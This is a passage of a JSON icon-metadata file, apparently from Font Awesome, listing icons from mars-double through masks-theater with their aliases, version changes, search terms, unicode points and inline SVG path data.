24-24s-10.7-24-24-24H424v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2-.1-1.8c77-11.6 136.1-78 136.1-158.2c0-31.4-9-60.7-24.7-85.4L560 113.9l39 39c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H504zM400 128a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.1 3.8 9.9 5.1 15.2 3.6C223.6 310.8 208 269.2 208 224c0-60.8 28.3-115 72.4-150.2L220.3 92.1l-29.4-74z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M504 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l39 39-22.2 22.2C475.9 78.4 439.6 64 400 64c-88.4 0-160 71.6-160 160c0 80.2 59.1 146.7 136.1 158.2c0 .6-.1 1.2-.1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3H352c-13.3 0-24 10.7-24 24s10.7 24 24 24h24v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l24 0H376c0 13.3 10.7 24 24 24s24-10.7 24-24H400l24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456h24c13.3 0 24-10.7 24-24s-10.7-24-24-24H424v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2-.1-1.8c77-11.6 136.1-78 136.1-158.2c0-31.4-9-60.7-24.7-85.4L560 113.9l39 39c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H504zM400 128a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.1 3.8 9.9 5.1 15.2 3.6C223.6 310.8 208 269.2 208 224c0-60.8 28.3-115 72.4-150.2L220.3 92.1l-29.4-74z"
      }
    },
    "free": ["solid"]
  },
  "mars-double": {
    "aliases": {
      "unicodes": {
        "composite": ["26a3"],
        "secondary": ["10f227"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Doubled Male Sign", "gay", "gender", "male", "men"]
    },
    "styles": ["solid"],
    "unicode": "f227",
    "label": "Mars Double",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M312 32c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L275.8 159c-28.4-19.5-62.7-31-99.8-31C78.8 128 0 206.8 0 304s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L407 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312zm88 48h0v0l0 0zM64 304a112 112 0 1 1 224 0A112 112 0 1 1 64 304zM368 480c97.2 0 176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L599 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H504c-9.7 0-18.5 5.8-22.2 14.8c-1.2 2.9-1.8 6-1.8 9l0 .2v.2c0 6.2 2.5 12.2 7 16.8l33.4 33.4L480 146.7V168c0 22.6-13.6 43.1-34.6 51.7c-.8 .3-1.7 .7-2.5 1C465.7 241.2 480 270.9 480 304c0 61.9-50.1 112-112 112c-5.4 0-10.8-.4-16-1.1c-12.9 20.4-29.1 38.3-48.1 53.1c19.8 7.8 41.4 12 64 12z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M312 32c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L275.8 159c-28.4-19.5-62.7-31-99.8-31C78.8 128 0 206.8 0 304s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L407 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312zm88 48h0v0l0 0zM64 304a112 112 0 1 1 224 0A112 112 0 1 1 64 304zM368 480c97.2 0 176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L599 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H504c-9.7 0-18.5 5.8-22.2 14.8c-1.2 2.9-1.8 6-1.8 9l0 .2v.2c0 6.2 2.5 12.2 7 16.8l33.4 33.4L480 146.7V168c0 22.6-13.6 43.1-34.6 51.7c-.8 .3-1.7 .7-2.5 1C465.7 241.2 480 270.9 480 304c0 61.9-50.1 112-112 112c-5.4 0-10.8-.4-16-1.1c-12.9 20.4-29.1 38.3-48.1 53.1c19.8 7.8 41.4 12 64 12z"
      }
    },
    "free": ["solid"]
  },
  "mars-stroke": {
    "aliases": {
      "unicodes": {
        "composite": ["26a6"],
        "secondary": ["10f229"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Male with Stroke Sign", "gender", "transgender"]
    },
    "styles": ["solid"],
    "unicode": "f229",
    "label": "Mars Stroke",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M376 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L370.3 96.4 345 71c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l25.4 25.4L307.8 159c-28.4-19.5-62.7-31-99.8-31c-97.2 0-176 78.8-176 176s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l28.6-28.6L407 201c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-25.4-25.4 22.1-22.1L471 153c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H376zm88 48h0v0l0 0zM96 304a112 112 0 1 1 224 0A112 112 0 1 1 96 304z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M376 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L370.3 96.4 345 71c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l25.4 25.4L307.8 159c-28.4-19.5-62.7-31-99.8-31c-97.2 0-176 78.8-176 176s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l28.6-28.6L407 201c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-25.4-25.4 22.1-22.1L471 153c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H376zm88 48h0v0l0 0zM96 304a112 112 0 1 1 224 0A112 112 0 1 1 96 304z"
      }
    },
    "free": ["solid"]
  },
  "mars-stroke-right": {
    "aliases": {
      "names": ["mars-stroke-h"],
      "unicodes": {
        "composite": ["26a9"],
        "secondary": ["10f22b"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Horizontal Male with Stroke Sign", "gender"]
    },
    "styles": ["solid"],
    "unicode": "f22b",
    "label": "Mars Stroke Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zm174.4-88C370.7 365.8 297.1 432 208 432c-97.2 0-176-78.8-176-176s78.8-176 176-176c89.1 0 162.7 66.2 174.4 152H416V176c0-13.3 10.7-24 24-24s24 10.7 24 24v56h32V176c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V280H464v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H382.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zm174.4-88C370.7 365.8 297.1 432 208 432c-97.2 0-176-78.8-176-176s78.8-176 176-176c89.1 0 162.7 66.2 174.4 152H416V176c0-13.3 10.7-24 24-24s24 10.7 24 24v56h32V176c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V280H464v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H382.4z"
      }
    },
    "free": ["solid"]
  },
  "mars-stroke-up": {
    "aliases": {
      "names": ["mars-stroke-v"],
      "unicodes": {
        "composite": ["26a8"],
        "secondary": ["10f22a"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Vertical Male with Stroke Sign", "gender"]
    },
    "styles": ["solid"],
    "unicode": "f22a",
    "label": "Mars Stroke Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M148.7 4.7c6.2-6.2 16.4-6.2 22.6 0l64 64c4.6 4.6 5.9 11.5 3.5 17.4s-8.3 9.9-14.8 9.9H184v24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H184v24c0 .6 0 1.2-.1 1.8c77 11.6 136.1 78 136.1 158.2c0 88.4-71.6 160-160 160S0 440.4 0 352c0-80.2 59.1-146.7 136.1-158.2c0-.6-.1-1.2-.1-1.8V168H104c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V96H96c-6.5 0-12.3-3.9-14.8-9.9s-1.1-12.9 3.5-17.4l64-64zM256 352A96 96 0 1 0 64 352a96 96 0 1 0 192 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M148.7 4.7c6.2-6.2 16.4-6.2 22.6 0l64 64c4.6 4.6 5.9 11.5 3.5 17.4s-8.3 9.9-14.8 9.9H184v24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H184v24c0 .6 0 1.2-.1 1.8c77 11.6 136.1 78 136.1 158.2c0 88.4-71.6 160-160 160S0 440.4 0 352c0-80.2 59.1-146.7 136.1-158.2c0-.6-.1-1.2-.1-1.8V168H104c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V96H96c-6.5 0-12.3-3.9-14.8-9.9s-1.1-12.9 3.5-17.4l64-64zM256 352A96 96 0 1 0 64 352a96 96 0 1 0 192 0z"
      }
    },
    "free": ["solid"]
  },
  "martini-glass": {
    "aliases": {
      "names": ["glass-martini-alt"],
      "unicodes": {
        "composite": ["1f378"],
        "secondary": ["10f57b"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "cocktail",
        "cocktail glass",
        "drink",
        "glass",
        "liquor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57b",
    "label": "Martini Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM173.3 128l-64-64H402.7l-64 64H173.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM173.3 128l-64-64H402.7l-64 64H173.3z"
      }
    },
    "free": ["solid"]
  },
  "martini-glass-citrus": {
    "aliases": {
      "names": ["cocktail"],
      "unicodes": {
        "secondary": ["10f561"]
      }
    },
    "changes": ["5.1.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "beverage",
        "drink",
        "gin",
        "glass",
        "margarita",
        "martini",
        "vodka"
      ]
    },
    "styles": ["solid"],
    "unicode": "f561",
    "label": "Martini Glass Citrus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M432 240c53 0 96-43 96-96s-43-96-96-96c-35.5 0-66.6 19.3-83.2 48H296.2C316 40.1 369.3 0 432 0c79.5 0 144 64.5 144 144s-64.5 144-144 144c-27.7 0-53.5-7.8-75.5-21.3l35.4-35.4c12.2 5.6 25.8 8.7 40.1 8.7zM1.8 142.8C5.5 133.8 14.3 128 24 128H392c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-177 177V464h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H208 120c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V345.9L7 169c-6.9-6.9-8.9-17.2-5.2-26.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M432 240c53 0 96-43 96-96s-43-96-96-96c-35.5 0-66.6 19.3-83.2 48H296.2C316 40.1 369.3 0 432 0c79.5 0 144 64.5 144 144s-64.5 144-144 144c-27.7 0-53.5-7.8-75.5-21.3l35.4-35.4c12.2 5.6 25.8 8.7 40.1 8.7zM1.8 142.8C5.5 133.8 14.3 128 24 128H392c9.7 0 18.5 5.8 22.2 14.8s1.7 19.3-5.2 26.2l-177 177V464h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H208 120c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V345.9L7 169c-6.9-6.9-8.9-17.2-5.2-26.2z"
      }
    },
    "free": ["solid"]
  },
  "martini-glass-empty": {
    "aliases": {
      "names": ["glass-martini"],
      "unicodes": {
        "secondary": ["10f000"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.1.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alcohol", "bar", "beverage", "drink", "liquor"]
    },
    "styles": ["solid"],
    "unicode": "f000",
    "label": "Martini Glass Empty",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM256 210.7L109.3 64H402.7L256 210.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM256 210.7L109.3 64H402.7L256 210.7z"
      }
    },
    "free": ["solid"]
  },
  "mask": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f6fa"]
      }
    },
    "changes": ["5.4.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "carnivale",
        "costume",
        "disguise",
        "halloween",
        "secret",
        "super hero"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6fa",
    "label": "Mask",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 64C64 64 0 160 0 272S80 448 176 448h8.4c24.2 0 46.4-13.7 57.2-35.4l23.2-46.3c4.4-8.8 13.3-14.3 23.2-14.3s18.8 5.5 23.2 14.3l23.2 46.3c10.8 21.7 33 35.4 57.2 35.4H400c96 0 176-64 176-176s-64-208-288-208zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm320-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 64C64 64 0 160 0 272S80 448 176 448h8.4c24.2 0 46.4-13.7 57.2-35.4l23.2-46.3c4.4-8.8 13.3-14.3 23.2-14.3s18.8 5.5 23.2 14.3l23.2 46.3c10.8 21.7 33 35.4 57.2 35.4H400c96 0 176-64 176-176s-64-208-288-208zM96 256a64 64 0 1 1 128 0A64 64 0 1 1 96 256zm320-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "mask-face": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "breath",
        "coronavirus",
        "covid-19",
        "filter",
        "flu",
        "infection",
        "pandemic",
        "respirator",
        "virus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e1d7",
    "label": "Mask Face",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 64c-27.2 0-53.8 8-76.4 23.1l-37.1 24.8c-15.8 10.5-34.3 16.1-53.3 16.1H144 128 56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l108 27C233.8 435 275.4 448 320 448s86.2-13 121.1-35.5l108-27C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H512 496h-9.2c-19 0-37.5-5.6-53.3-16.1L396.4 87.1C373.8 72 347.2 64 320 64zM132.3 346.3l-29.8-7.4C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H96v48c0 45.1 13.4 87.2 36.3 122.3zm405.1-7.4l-29.8 7.4c23-35.2 36.3-77.2 36.3-122.3V176h40c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9zM192 208c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16zm16 48H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 80c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 64c-27.2 0-53.8 8-76.4 23.1l-37.1 24.8c-15.8 10.5-34.3 16.1-53.3 16.1H144 128 56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l108 27C233.8 435 275.4 448 320 448s86.2-13 121.1-35.5l108-27C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H512 496h-9.2c-19 0-37.5-5.6-53.3-16.1L396.4 87.1C373.8 72 347.2 64 320 64zM132.3 346.3l-29.8-7.4C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H96v48c0 45.1 13.4 87.2 36.3 122.3zm405.1-7.4l-29.8 7.4c23-35.2 36.3-77.2 36.3-122.3V176h40c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9zM192 208c0-8.8 7.2-16 16-16H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16zm16 48H432c8.8 0 16 7.2 16 16s-7.2 16-16 16H208c-8.8 0-16-7.2-16-16s7.2-16 16-16zm16 80c0-8.8 7.2-16 16-16H400c8.8 0 16 7.2 16 16s-7.2 16-16 16H240c-8.8 0-16-7.2-16-16z"
      }
    },
    "free": ["solid"]
  },
  "mask-ventilator": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["breath", "gas", "mask", "oxygen", "respirator", "ventilator"]
    },
    "styles": ["solid"],
    "unicode": "e524",
    "label": "Mask Ventilator",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M159.1 176C139.4 219.2 128 264.7 128 300.8c0 15.9 2.2 31.4 6.3 46l-31.8-7.9C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H159.1zm26-48H56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l71.3 17.8c22.7 30.5 55.4 54.1 93.8 66.6V393.3c-19.7-16.4-32-40.3-32-66.9c0-49.5 43-134.4 96-134.4c52.5 0 96 84.9 96 134.4c0 26.7-12.4 50.4-32 66.8v76.6c38-12.6 70.6-36 93.5-66.4l71.6-17.9C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H454.5C419.7 73.8 372.1 32 320 32c-52.6 0-100.2 41.8-134.9 96zm295.6 48H584c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9l-31.8 8c4.2-14.7 6.4-30.1 6.4-46.1c0-36.1-11.6-81.6-31.3-124.8zM288 320V512h64V320c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M159.1 176C139.4 219.2 128 264.7 128 300.8c0 15.9 2.2 31.4 6.3 46l-31.8-7.9C70.5 330.9 48 302.1 48 269V184c0-4.4 3.6-8 8-8H159.1zm26-48H56c-30.9 0-56 25.1-56 56v85c0 55.1 37.5 103.1 90.9 116.4l71.3 17.8c22.7 30.5 55.4 54.1 93.8 66.6V393.3c-19.7-16.4-32-40.3-32-66.9c0-49.5 43-134.4 96-134.4c52.5 0 96 84.9 96 134.4c0 26.7-12.4 50.4-32 66.8v76.6c38-12.6 70.6-36 93.5-66.4l71.6-17.9C602.5 372.1 640 324.1 640 269V184c0-30.9-25.1-56-56-56H454.5C419.7 73.8 372.1 32 320 32c-52.6 0-100.2 41.8-134.9 96zm295.6 48H584c4.4 0 8 3.6 8 8v85c0 33-22.5 61.8-54.5 69.9l-31.8 8c4.2-14.7 6.4-30.1 6.4-46.1c0-36.1-11.6-81.6-31.3-124.8zM288 320V512h64V320c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "masks-theater": {
    "aliases": {
      "names": ["theater-masks"],
      "unicodes": {
        "composite": ["1f3ad"],
        "secondary": ["10f630"]
      }
    },
    "changes": ["5.2.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "art",
        "comedy",
        "mask",
        "perform",
        "performing",
        "performing arts",
        "theater",
        "theatre",
        "tragedy"
      ]
    },
    "styles": ["solid"],
    "unicode": "f630",
    "label": "Masks Theater",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
